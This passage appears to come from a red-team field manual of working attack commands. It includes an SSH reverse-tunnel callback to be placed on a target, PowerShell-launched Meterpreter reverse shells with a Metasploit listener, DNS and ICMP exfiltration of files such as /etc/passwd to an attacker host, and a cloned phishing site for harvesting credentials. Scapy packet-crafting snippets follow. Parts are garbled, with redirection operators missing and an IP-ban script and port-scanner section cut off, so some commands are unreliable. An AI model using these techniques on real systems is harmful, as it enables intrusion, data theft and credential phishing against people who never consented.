## IP BANNING SCRIPT

---

```
#!/bin/sh  
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2  
# It assumes 1 is the router and does not ban IPs .20, .21, .22

## SSH CALLBACK

---

Set up script in crontab to callback every X minutes. Highly recommend you set up a generic user on red team computer (with no shell privs). Script will use the private key (located on callback source computer) to connect to a public key (on red team computer). Red teamer connects to target via a local SSH session (in the example below, use #ssh -p4040 localhost)

```
#!/bin/sh
# Callback script located on callback source computer (target)
killall ssh /dev/null 2 &1
sleep 5
REMLIS=4040
REMUSR=user
HOSTS="domain1.com domain2.com domain3.com"
for LIVEHOST in $HOSTS;
do
    COUNT=$(ping -c2 $LIVEHOST | grep 'received' | awk -F',' '{ print
$2 }' | awk '{ print $1 }')
    if [[ $COUNT -gt 0 ]]; then
        ssh -R ${REMLIS}:localhost:22 -i
"/home/${REMUSR}/.ssh/id_rsa" -N ${LIVEHOST} -l ${REMUSR}
    fi
done
```

## USING POWERSHELL TO LAUNCH METERPRETER FROM MEMORY

- ✓ Need Metasploit v4.5+ (msfvenom supports Powershell)
- ✓ Use Powershell (x86) with 32 bit Meterpreter payloads
- ✓ encodeMeterpreter.ps1 script can be found on next page

### ON ATTACK BOXES

---

1. `./msfvenom -p windows/meterpreter/reverse_https -f psh -a x86 LHOST=1.1.1.1 LPORT=443 audit.ps1`
2. Move audit.ps1 into same folder as encodeMeterpreter.ps1
3. Launch Powershell (x86)
4. `powershell.exe -executionpolicy bypass encodeMeterpreter.ps1`
5. Copy the encoded Meterpreter string

### START LISTENER ON ATTACK BOX

---

1. `./msfconsole`
2. `use exploit/multi/handler`
3. `set payload windows/meterpreter/reverse_https`
4. `set LHOST 1.1.1.1`
5. `set LPORT 443`
6. `exploit -j`

### ON TARGET (MUST USE POWERSHELL (x86))

---

1. `powershell.exe -noexit -encodedCommand paste encoded Meterpreter string here`

### FIKED - FAKE VPN SERVER

---

- ✓ Must know the VPN group name and pre-shared key
- 1. Ettercap filter to drop IPSEC traffic (UDP port 500)

```
if(ip.proto == UDP && udp.src == 500){  
    kill();  
    drop();  
    msg("UDP packet dropped");  
}
```
- 2. Compile filter

```
etterfilter udpdrop.filter -o udpdrop.ef
```
- 3. Start Ettercap and drop all IPSEC traffic

# TIPS AND TRICKS

## FILE TRANSFER

### FTP THROUGH NON-INTERACTIVE SHELL

---

```
echo open ip 21 ftp.txt
echo user ftp.txt
echo pass ftp.txt
echo bin ftp.txt
echo GET file ftp.txt
echo bye ftp.txt
ftp -s:ftp.txt
```

### DNS TRANSFER ON LINUX

---

On victim:

1. Hex encode the file to be transferred  
xxd -p secret file.hex
2. Read in each line and do a DNS lookup  
for b in `cat file.hex`; do dig \$b.shell.evilexample.com; done

On attacker:

1. Capture DNS exfil packets  
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet  
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d' ' |  
cut -f1 -d'.' | uniq received.txt
3. Reverse the hex encoding  
xxd -r -p receivedu.txt keys.pgp

### EXFIL COMMAND OUTPUT ON A LINUX MACHINE OVER ICMP

---

On victim (never ending 1 liner):

```
stringZ=`cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n";
counter=0; while (($counter = ${#stringZ}));do ping -s 16 -c 1 -p
${stringZ:$counter:16} 192.168.10.10 &&
counter=$((counter+16));done
```

On attacker (capture packets to data.dmp and parse):

```
tcpdump -ntvvSxs 0 'icmp[0]=8' data.dmp
grep 0x0020 data.dmp | cut -c21- | tr -d " " | tr -d "\n" | xxd -r -p
```

## OPEN MAIL RELAY

```
C:\ telnet x.x.x.x 25
HELO x.x.x.x
MAIL FROM: me@you.com
RCPT TO: you@you.com
DATA
Thank You.
.
quit
```

## BASIC AUTHENTICATION USING APACHE2

The steps below will clone a website and redirect after 3 seconds to another page requiring basic authentication. It has proven very useful for collecting credentials during social engineering engagements.

1. Start Social Engineering Toolkit (SET)  
    ➤ /pentest/exploits/set/./set
2. Through SET, use the 'Website Attack Vector' menu to clone your preferred website. ' Do not close SET '
3. In a new terminal create a new directory (lowercase L)  
    ➤ mkdir /var/www/l
4. Browse to SET directory and copy the cloned site  
    ➤ cd /pentest/exploits/set/src/web\_clone/site/template/  
    ➤ cp index.html /var/www/index.html  
    ➤ cp index.html /var/www/l/index.html
5. Open /var/www/index.html and add tag between head tags  
    meta http-equiv="refresh"  
    content="3;url=http:// domain|ip /l/index.html"/
6. Create blank password file to be used for basic auth  
    ➤ touch /etc/apache2/.htpasswd
7. Open /etc/apache2/sites-available/default and add:  
    Directory /var/www/l  
        AuthType Basic  
        AuthName "PORTAL LOGIN BANNER"  
        AuthUserFile /etc/apache2/.htpasswd  
        Require user test  
    /Directory
8. Start Apache2  
    ➤ /etc/init.d/apache2 start
9. Start Wireshark and add the filter:  
    http.authbasic
10. Send the following link to your target users  
    http:// domain|ip /index.html

## SCAPY

\* When you craft TCP packets with Scapy, the underlying OS will not recognize the initial SYN packet and will reply with a RST packet. To mitigate this you need to set the following Iptables rule:

```
> iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
```

Expression	Description
from scapy.all import *	Imports all scapy libraries
ls()	List all available protocols
lsc()	List all scapy functions
conf	Show/set scapy config
IP(src=RandIP())	Generate random src IPs
Ether(src=RandMAC())	Generate random src MACs
ip=IP(src="1.1.1.1",dst="2.2.2.2")	Specify IP parameters
tcp=TCP(dport="443")	Specify TCP parameters
data="TCP data"	Specify data portion
packet=ip/tcp/data	Create IP()/TCP() packet
packet.show()	Display packet configuration
send(packet,count=1)	Send 1 packet @ layer 3
sendp(packet,count=2)	Send 2 packets @ layer 2
sendpfast(packet)	Send faster using tcpreply
sr(packet)	Send 1 packet & get replies
srl(packet)	Send only return 1st reply
for i in range(0,1000): send ( packet>)	Send >packet> 1000 times
sniff(count=100,iface=eth0)	Sniff 100 packets on eth0

### SEND IPv6 ICMP MSG

```
>>> sr(IPv6(src=" ipv6 ", dst="<ipv6>")/ICMP())
```

### UDP PACKET W/ SPECIFIC PAYLOAD:

```
>>> ip=IP(src=" ip ", dst=" ip ")
>>> u=UDP(dport=1234, sport=5678)
>>> pay = "my UDP packet"
>>> packet=ip/u/pay
>>> packet.show()
>>> wrpcap ("out.pcap",packet) : write to pcap
>>> send(packet)
```

### NTP FUZZER

```
packet=IP(src=" ip ",
dst=" ip ") /UDP(dport=123) /fuzz (NTP(version=4,mode=4))
```

### SEND HTTP MESSAGE

```
from scapy.all import *
# Add iptables rule to block attack box from sending RSTs
# Create web.txt with entire GET/POST packet data
fileweb = open("web.txt","r")
data = fileweb.read()
ip = IP(dst=" ip ")
SYN=ip/TCP(rport=RandNum(6000,7000),dport=80,flags="S",seq=4)
SYNACK = srl(SYN)
ACK=ip/TCP(sport=SYNACK.dport,dport=80,flags="A",seq=SYNACK.ack,ack=SYNACK.
seq+1)/data
reply,error = sr(ACK)
print reply.show()
```

### PERL PORT SCANNER
